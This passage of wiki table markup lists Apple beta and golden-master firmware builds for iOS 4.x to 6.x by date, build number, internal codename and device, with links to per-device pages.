| [[ApexVail 8A274b (iPhone 3G)|4.0b4]]
| [[ApexVail 8A274b (iPhone 3GS)|4.0b4]]
| [[ApexVail 8A274b (iPod touch 2G)|4.0b4]]
| class="rborderplz" | [[ApexVail 8A274b (iPod touch 3G)|4.0b4]]
|-
| 7 Jun 2010
! style="text-align:left;" | 8A293
| [[Apex 8A293 (iPhone 3G)|4.0GM]]
| [[Apex 8A293 (iPhone 3GS)|4.0GM]]
| [[Apex 8A293 (iPod touch 2G)|4.0GM]]
| class="rborderplz" | [[Apex 8A293 (iPod touch 3G)|4.0GM]]
|-
| 14 Jul 2010
! style="text-align:left;" | 8B5080c
| [[BakerVail 8B5080c (iPhone 3G)|4.1b]]
| [[BakerVail 8B5080c (iPhone 3GS)|4.1b]]
| [[BakerVail 8B5080c (iPhone 4 GSM)|4.1b]]
| [[BakerVail 8B5080c (iPod touch 2G)|4.1b]]
| class="rborderplz" | [[BakerVail 8B5080c (iPod touch 3G)|4.1b]]
|-
| 27 Jul 2010
! style="text-align:left;" | 8B5091b
| [[BakerVail 8B5091b (iPhone 3G)|4.1b2]]
| [[BakerVail 8B5091b (iPhone 3GS)|4.1b2]]
| [[BakerVail 8B5091b (iPhone 4 GSM)|4.1b2]]
| [[BakerVail 8B5091b (iPod touch 2G)|4.1b2]]
| class="rborderplz" | [[BakerVail 8B5091b (iPod touch 3G)|4.1b2]]
|-
| 3 Aug 2010
! style="text-align:left;" | 8B5097d
| [[BakerVail 8B5097d (iPhone 3G)|4.1b3]]
| [[BakerVail 8B5097d (iPhone 3GS)|4.1b3]]
| [[BakerVail 8B5097d (iPhone 4 GSM)|4.1b3]]
| [[BakerVail 8B5097d (iPod touch 2G)|4.1b3]]
| class="rborderplz" | [[BakerVail 8B5097d (iPod touch 3G)|4.1b3]]
|-
| 1 Sep 2010
! style="text-align:left;" | 8B117
| [[Baker 8B117 (iPhone 3G)|4.1GM]]
| [[Baker 8B117 (iPhone 3GS)|4.1GM]]
| [[Baker 8B117 (iPhone 4 GSM)|4.1GM]]
| [[Baker 8B117 (iPod touch 2G)|4.1GM]]
| class="rborderplz" | [[Baker 8B117 (iPod touch 3G)|4.1GM]]
|-
| 15 Sep 2010
! style="text-align:left;" | 8C5091e
| rowspan="7" {{n/a}}
| [[JasperVail 8C5091e (iPad)|4.2b]]
| [[JasperVail 8C5091e (iPhone 3G)|4.2b]]
| [[JasperVail 8C5091e (iPhone 3GS)|4.2b]]
| [[JasperVail 8C5091e (iPhone 4 GSM)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 2G)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 3G)|4.2b]]
| [[JasperVail 8C5091e (iPod touch 4G)|4.2b]]
|-
| 28 Sep 2010
! style="text-align:left;" | 8C5101c
| [[JasperVail 8C5101c (iPad)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 3G)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 3GS)|4.2b2]]
| [[JasperVail 8C5101c (iPhone 4 GSM)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 2G)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 3G)|4.2b2]]
| [[JasperVail 8C5101c (iPod touch 4G)|4.2b2]]
|-
| 12 Oct 2010
! style="text-align:left;" | 8C5115c
| [[JasperVail 8C5115c (iPad)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 3G)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 3GS)|4.2b3]]
| [[JasperVail 8C5115c (iPhone 4 GSM)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 2G)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 3G)|4.2b3]]
| [[JasperVail 8C5115c (iPod touch 4G)|4.2b3]]
|-
| 1 Nov 2010
! style="text-align:left;" | 8C134
| [[Jasper 8C134 (iPad)|4.2GM]]
| [[Jasper 8C134 (iPhone 3G)|4.2GM]]
| [[Jasper 8C134 (iPhone 3GS)|4.2GM]]
| [[Jasper 8C134 (iPhone 4 GSM)|4.2GM]]
| [[Jasper 8C134 (iPod touch 2G)|4.2GM]]
| [[Jasper 8C134 (iPod touch 3G)|4.2GM]]
| [[Jasper 8C134 (iPod touch 4G)|4.2GM]]
|-
| 18 Nov 2010
! style="text-align:left;" | 8C134b
| [[Jasper 8C134b (iPad)|4.2GM2]]
| colspan="6" {{n/a}}
|-
| 18 Nov 2010
! style="text-align:left;" | 8C148
| [[Jasper 8C148 (iPad)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 3G)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 3GS)|4.2.1GM]]
| [[Jasper 8C148 (iPhone 4 GSM)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 2G)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 3G)|4.2.1GM]]
| [[Jasper 8C148 (iPod touch 4G)|4.2.1GM]]
|-
| 12 Jan 2011
! style="text-align:left;" | 8F5148b
| [[DurangoVail 8F5148b (iPad)|4.3b]]
| {{n/a}}
| [[DurangoVail 8F5148b (iPhone 3GS)|4.3b]]
| [[DurangoVail 8F5148b (iPhone 4 GSM)|4.3b]]
| {{n/a}}
| [[DurangoVail 8F5148b (iPod touch 3G)|4.3b]]
| [[DurangoVail 8F5148b (iPod touch 4G)|4.3b]]
|-
| 12 Jan 2011
! style="text-align:left;" | 8F5148c
| [[DurangoVail 8F5148c (Apple TV 2G)|4.2b]]
| colspan="7" {{n/a}}
|-
| 19 Jan 2011
! style="text-align:left;" | 8F5153d
| [[DurangoVail 8F5153d (Apple TV 2G)|4.2b2]]
| [[DurangoVail 8F5153d (iPad)|4.3b2]]
| class="nobborderplz" rowspan="3" {{n/a|class=nobborderplz}}
| [[DurangoVail 8F5153d (iPhone 3GS)|4.3b2]]
| [[DurangoVail 8F5153d (iPhone 4 GSM)|4.3b2]]
| class="nobborderplz" rowspan="3" {{n/a|class=nobborderplz}}
| [[DurangoVail 8F5153d (iPod touch 3G)|4.3b2]]
| [[DurangoVail 8F5153d (iPod touch 4G)|4.3b2]]
|-
| 1 Feb 2011
! style="text-align:left;" | 8F5166b
| [[DurangoVail 8F5166b (Apple TV 2G)|4.2b3]]
| [[DurangoVail 8F5166b (iPad)|4.3b3]]
| [[DurangoVail 8F5166b (iPhone 3GS)|4.3b3]]
| [[DurangoVail 8F5166b (iPhone 4 GSM)|4.3b3]]
| [[DurangoVail 8F5166b (iPod touch 3G)|4.3b3]]
| [[DurangoVail 8F5166b (iPod touch 4G)|4.3b3]]
|-
| 3 Mar 2011
! style="text-align:left;" | 8F190
| {{n/a}}
| [[Durango 8F190 (iPad)|4.3GM]]
| [[Durango 8F190 (iPhone 3GS)|4.3GM]]
| [[Durango 8F190 (iPhone 4 GSM)|4.3GM]]
| [[Durango 8F190 (iPod touch 3G)|4.3GM]]
| [[Durango 8F190 (iPod touch 4G)|4.3GM]]
|}

==== 5.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! colspan="4" | [[iPad]]
! colspan="4" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! colspan="3" | [[iPad 2|2]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="2" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[n90ap|GSM]]
! class="rborderplz" | [[n92ap|CDMA]]
|-
| 7 Jun 2011
! style="text-align:left;" | 9A5220p
| [[TellurideVail 9A5220p (Apple TV 2G)|4.4b]]
| [[TellurideVail 9A5220p (iPad)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 Wi-Fi)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 GSM)|5.0b]]
| [[TellurideVail 9A5220p (iPad 2 CDMA)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 3GS)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 4 GSM)|5.0b]]
| [[TellurideVail 9A5220p (iPhone 4 CDMA)|5.0b]]
| rowspan="8" {{n/a}}
| [[TellurideVail 9A5220p (iPod touch 3G)|5.0b]]
| [[TellurideVail 9A5220p (iPod touch 4G)|5.0b]]
|-
| 24 Jun 2011
! style="text-align:left;" | 9A5248d
| [[TellurideVail 9A5248d (Apple TV 2G)|4.4b2]]
| [[TellurideVail 9A5248d (iPad)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 Wi-Fi)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 GSM)|5.0b2]]
| [[TellurideVail 9A5248d (iPad 2 CDMA)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 3GS)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 4 GSM)|5.0b2]]
| [[TellurideVail 9A5248d (iPhone 4 CDMA)|5.0b2]]
| [[TellurideVail 9A5248d (iPod touch 3G)|5.0b2]]
| [[TellurideVail 9A5248d (iPod touch 4G)|5.0b2]]
|-
| 11 Jul 2011
! style="text-align:left;" | 9A5259f
| [[TellurideVail 9A5259f (Apple TV 2G)|4.4b3]]
| [[TellurideVail 9A5259f (iPad)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 Wi-Fi)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 GSM)|5.0b3]]
| [[TellurideVail 9A5259f (iPad 2 CDMA)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 3GS)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 4 GSM)|5.0b3]]
| [[TellurideVail 9A5259f (iPhone 4 CDMA)|5.0b3]]
| [[TellurideVail 9A5259f (iPod touch 3G)|5.0b3]]
| [[TellurideVail 9A5259f (iPod touch 4G)|5.0b3]]
|-
| 22 Jul 2011
! style="text-align:left;" | 9A5274d
| {{n/a}}
| [[TellurideVail 9A5274d (iPad)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 Wi-Fi)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 GSM)|5.0b4]]
| [[TellurideVail 9A5274d (iPad 2 CDMA)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 3GS)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 4 GSM)|5.0b4]]
| [[TellurideVail 9A5274d (iPhone 4 CDMA)|5.0b4]]
| [[TellurideVail 9A5274d (iPod touch 3G)|5.0b4]]
| [[TellurideVail 9A5274d (iPod touch 4G)|5.0b4]]
|-
| 6 Aug 2011
! style="text-align:left;" | 9A5288d
| [[TellurideVail 9A5288d (Apple TV 2G)|4.4b4]]
| [[TellurideVail 9A5288d (iPad)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 Wi-Fi)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 GSM)|5.0b5]]
| [[TellurideVail 9A5288d (iPad 2 CDMA)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 3GS)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 4 GSM)|5.0b5]]
| [[TellurideVail 9A5288d (iPhone 4 CDMA)|5.0b5]]
| [[TellurideVail 9A5288d (iPod touch 3G)|5.0b5]]
| [[TellurideVail 9A5288d (iPod touch 4G)|5.0b5]]
|-
| 19 Aug 2011
! style="text-align:left;" | 9A5302b
| [[TellurideVail 9A5302b (Apple TV 2G)|4.4b5]]
| [[TellurideVail 9A5302b (iPad)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 Wi-Fi)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 GSM)|5.0b6]]
| [[TellurideVail 9A5302b (iPad 2 CDMA)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 3GS)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 4 GSM)|5.0b6]]
| [[TellurideVail 9A5302b (iPhone 4 CDMA)|5.0b6]]
| [[TellurideVail 9A5302b (iPod touch 3G)|5.0b6]]
| [[TellurideVail 9A5302b (iPod touch 4G)|5.0b6]]
|-
| 31 Aug 2011
! style="text-align:left;" | 9A5313e
| [[TellurideVail 9A5313e (Apple TV 2G)|4.4b6]]
| [[TellurideVail 9A5313e (iPad)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 Wi-Fi)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 GSM)|5.0b7]]
| [[TellurideVail 9A5313e (iPad 2 CDMA)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 3GS)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 4 GSM)|5.0b7]]
| [[TellurideVail 9A5313e (iPhone 4 CDMA)|5.0b7]]
| [[TellurideVail 9A5313e (iPod touch 3G)|5.0b7]]
| [[TellurideVail 9A5313e (iPod touch 4G)|5.0b7]]
|-
| 4 Oct 2011
! style="text-align:left;" | 9A334
| rowspan="4" {{n/a}}
| [[Telluride 9A334 (iPad)|5.0GM]]
| [[Telluride 9A334 (iPad 2 Wi-Fi)|5.0GM]]
| [[Telluride 9A334 (iPad 2 GSM)|5.0GM]]
| [[Telluride 9A334 (iPad 2 CDMA)|5.0GM]]
| [[Telluride 9A334 (iPhone 3GS)|5.0GM]]
| [[Telluride 9A334 (iPhone 4 GSM)|5.0GM]]
| [[Telluride 9A334 (iPhone 4 CDMA)|5.0GM]]
| [[Telluride 9A334 (iPod touch 3G)|5.0GM]]
| [[Telluride 9A334 (iPod touch 4G)|5.0GM]]
|-
| 2 Nov 2011
! style="text-align:left;" | 9A402
| [[Telluride 9A402 (iPad)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 Wi-Fi)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 GSM)|5.0.1b]]
| [[Telluride 9A402 (iPad 2 CDMA)|5.0.1b]]
| [[Telluride 9A402 (iPhone 3GS)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4 GSM)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4 CDMA)|5.0.1b]]
| [[Telluride 9A402 (iPhone 4S)|5.0.1b]]
| [[Telluride 9A402 (iPod touch 3G)|5.0.1b]]
| [[Telluride 9A402 (iPod touch 4G)|5.0.1b]]
|-
| 4 Nov 2011
! style="text-align:left;" | 9A404
| [[Telluride 9A404 (iPad)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 Wi-Fi)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 GSM)|5.0.1b2]]
| [[Telluride 9A404 (iPad 2 CDMA)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 3GS)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4 GSM)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4 CDMA)|5.0.1b2]]
| [[Telluride 9A404 (iPhone 4S)|5.0.1b2]]
| [[Telluride 9A404 (iPod touch 3G)|5.0.1b2]]
| [[Telluride 9A404 (iPod touch 4G)|5.0.1b2]]
|-
| 28 Nov 2011
! style="text-align:left;" | 9B5117b
| [[HoodooVail 9B5117b (iPad)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 Wi-Fi)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 GSM)|5.1b]]
| [[HoodooVail 9B5117b (iPad 2 CDMA)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 3GS)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4 GSM)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4 CDMA)|5.1b]]
| [[HoodooVail 9B5117b (iPhone 4S)|5.1b]]
| [[HoodooVail 9B5117b (iPod touch 3G)|5.1b]]
| [[HoodooVail 9B5117b (iPod touch 4G)|5.1b]]
|-
| 12 Dec 2011
! style="text-align:left;" | 9B5127c
| [[HoodooVail 9B5127c (Apple TV 2G)|5.0b]]
| [[HoodooVail 9B5127c (iPad)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 Wi-Fi)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 GSM)|5.1b2]]
| [[HoodooVail 9B5127c (iPad 2 CDMA)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 3GS)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4 GSM)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4 CDMA)|5.1b2]]
| [[HoodooVail 9B5127c (iPhone 4S)|5.1b2]]
| [[HoodooVail 9B5127c (iPod touch 3G)|5.1b2]]
| [[HoodooVail 9B5127c (iPod touch 4G)|5.1b2]]
|-
| 9 Jan 2012
! style="text-align:left;" | 9B5141a
| [[HoodooVail 9B5141a (Apple TV 2G)|5.0b2]]
| [[HoodooVail 9B5141a (iPad)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 Wi-Fi)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 GSM)|5.1b3]]
| [[HoodooVail 9B5141a (iPad 2 CDMA)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 3GS)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4 GSM)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4 CDMA)|5.1b3]]
| [[HoodooVail 9B5141a (iPhone 4S)|5.1b3]]
| [[HoodooVail 9B5141a (iPod touch 3G)|5.1b3]]
| [[HoodooVail 9B5141a (iPod touch 4G)|5.1b3]]
|}

==== 6.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="2" | [[Apple TV]]
! colspan="10" | [[iPad]]
! colspan="3" | [[iPad mini]]
! colspan="7" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[j33ap|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="3" | [[iPad mini 1G|1G]]
! rowspan="2" | [[n88ap|3GS]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! rowspan="2" | [[n81ap|4G]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! class="rborderplz" | [[n42ap|Global]]
|-
| 11 Jun 2012
! style="text-align:left;" | 10A5316k
| [[SundanceVail 10A5316k (Apple TV 2G)|5.1b]]
| [[SundanceVail 10A5316k (Apple TV 3G)|5.1b]]
| [[SundanceVail 10A5316k (iPad 2 Wi-Fi)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 GSM)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPad 2 Wi-Fi Rev A)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 Wi-Fi)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPad 3 Global)|6.0b]]
| colspan="6" rowspan="5" {{n/a}}
| [[SundanceVail 10A5316k (iPhone 3GS)|6.0b]]
| [[SundanceVail 10A5316k (iPhone 4 GSM)|6.0b]]
| rowspan="8" {{n/a}}
| [[SundanceVail 10A5316k (iPhone 4 CDMA)|6.0b]]
| [[SundanceVail 10A5316k (iPhone 4S)|6.0b]]
| colspan="2" rowspan="5" {{n/a}}
| [[SundanceVail 10A5316k (iPod touch 4G)|6.0b]]
| rowspan="5" {{n/a}}
|-
| 25 Jun 2012
! style="text-align:left;" | 10A5338d
| [[SundanceVail 10A5338d (Apple TV 2G)|5.1b2]]
| [[SundanceVail 10A5338d (Apple TV 3G)|5.1b2]]
| [[SundanceVail 10A5338d (iPad 2 Wi-Fi)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 GSM)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 2 Wi-Fi Rev A)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 Wi-Fi)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPad 3 Global)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 3GS)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4 GSM)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4 CDMA)|6.0b2]]
| [[SundanceVail 10A5338d (iPhone 4S)|6.0b2]]
| class="rborderplz" | [[SundanceVail 10A5338d (iPod touch 4G)|6.0b2]]
|-
| 16 Jul 2012
! style="text-align:left;" | 10A5355d
| [[SundanceVail 10A5355d (Apple TV 2G)|5.1b3]]
| [[SundanceVail 10A5355d (Apple TV 3G)|5.1b3]]
| [[SundanceVail 10A5355d (iPad 2 Wi-Fi)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 GSM)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 2 Wi-Fi Rev A)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 Wi-Fi)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPad 3 Global)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 3GS)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4 GSM)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4 CDMA)|6.0b3]]
| [[SundanceVail 10A5355d (iPhone 4S)|6.0b3]]
| class="rborderplz" | [[SundanceVail 10A5355d (iPod touch 4G)|6.0b3]]
|-
| 6 Aug 2012
! style="text-align:left;" | 10A5376e
| [[SundanceVail 10A5376e (Apple TV 2G)|5.1b4]]
| [[SundanceVail 10A5376e (Apple TV 3G)|5.1b4]]
| [[SundanceVail 10A5376e (iPad 2 Wi-Fi)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 GSM)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 2 Wi-Fi Rev A)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 Wi-Fi)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPad 3 Global)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 3GS)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4 GSM)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4 CDMA)|6.0b4]]
| [[SundanceVail 10A5376e (iPhone 4S)|6.0b4]]
| class="rborderplz" | [[SundanceVail 10A5376e (iPod touch 4G)|6.0b4]]
|-
| 12 Sep 2012
! style="text-align:left;" | 10A403
| colspan="2" rowspan="2" {{n/a}}
| [[Sundance 10A403 (iPad 2 Wi-Fi)|6.0GM]]
| [[Sundance 10A403 (iPad 2 GSM)|6.0GM]]
| [[Sundance 10A403 (iPad 2 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPad 2 Wi-Fi Rev A)|6.0GM]]
| [[Sundance 10A403 (iPad 3 Wi-Fi)|6.0GM]]
| [[Sundance 10A403 (iPad 3 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPad 3 Global)|6.0GM]]
| [[Sundance 10A403 (iPhone 3GS)|6.0GM]]
| [[Sundance 10A403 (iPhone 4 GSM)|6.0GM]]
| [[Sundance 10A403 (iPhone 4 CDMA)|6.0GM]]
| [[Sundance 10A403 (iPhone 4S)|6.0GM]]
| class="rborderplz" | [[Sundance 10A403 (iPod touch 4G)|6.0GM]]
|-
| 1 Nov 2012
! style="text-align:left;" | 10B5095f
| [[BrightonVail 10B5095f (iPad 2 Wi-Fi)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPad 2 Wi-Fi Rev A)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 Wi-Fi)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPad 3 Global)|6.1b]]
| [[BrightonVail 10B5095f (iPad 4 Wi-Fi)|6.1b]]
| rowspan="2" colspan="2" {{n/a}}
| [[BrightonVail 10B5095f (iPad mini 1G Wi-Fi)|6.1b]]
| rowspan="2" colspan="2" {{n/a}}
| [[BrightonVail 10B5095f (iPhone 3GS)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4 CDMA)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 4S)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 5 GSM)|6.1b]]
| [[BrightonVail 10B5095f (iPhone 5 Global)|6.1b]]
| [[BrightonVail 10B5095f (iPod touch 4G)|6.1b]]
| [[BrightonVail 10B5095f (iPod touch 5G)|6.1b]]
|-
| 12 Nov 2012
! style="text-align:left;" | 10B5105c
| [[BrightonVail 10B5105c (Apple TV 2G)|5.2b]]
| [[BrightonVail 10B5105c (Apple TV 3G)|5.2b]]
| [[BrightonVail 10B5105c (iPad 2 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 2 Wi-Fi Rev A)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 3 Global)|6.1b2]]
| [[BrightonVail 10B5105c (iPad 4 Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPad mini 1G Wi-Fi)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 3GS)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4 CDMA)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 4S)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 5 GSM)|6.1b2]]
| [[BrightonVail 10B5105c (iPhone 5 Global)|6.1b2]]
| [[BrightonVail 10B5105c (iPod touch 4G)|6.1b2]]
| [[BrightonVail 10B5105c (iPod touch 5G)|6.1b2]]
|-
| 3 Dec 2012
! style="text-align:left;" | 10B5117b
| [[BrightonVail 10B5117b (Apple TV 2G)|5.2b2]]
| [[BrightonVail 10B5117b (Apple TV 3G)|5.2b2]]
| [[BrightonVail 10B5117b (iPad 2 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 2 Wi-Fi Rev A)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 3 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad 4 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G Wi-Fi)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPad mini 1G Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 3GS)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4 CDMA)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 4S)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 5 GSM)|6.1b3]]
| [[BrightonVail 10B5117b (iPhone 5 Global)|6.1b3]]
| [[BrightonVail 10B5117b (iPod touch 4G)|6.1b3]]
| [[BrightonVail 10B5117b (iPod touch 5G)|6.1b3]]
|-
| 17 Dec 2012
! style="text-align:left;" | 10B5126b
| [[BrightonVail 10B5126b (Apple TV 2G)|5.2b3]]
| [[BrightonVail 10B5126b (Apple TV 3G)|5.2b3]]
| [[BrightonVail 10B5126b (iPad 2 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 2 Wi-Fi Rev A)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 3 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad 4 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G Wi-Fi)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPad mini 1G Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 3GS)|6.1b4]]
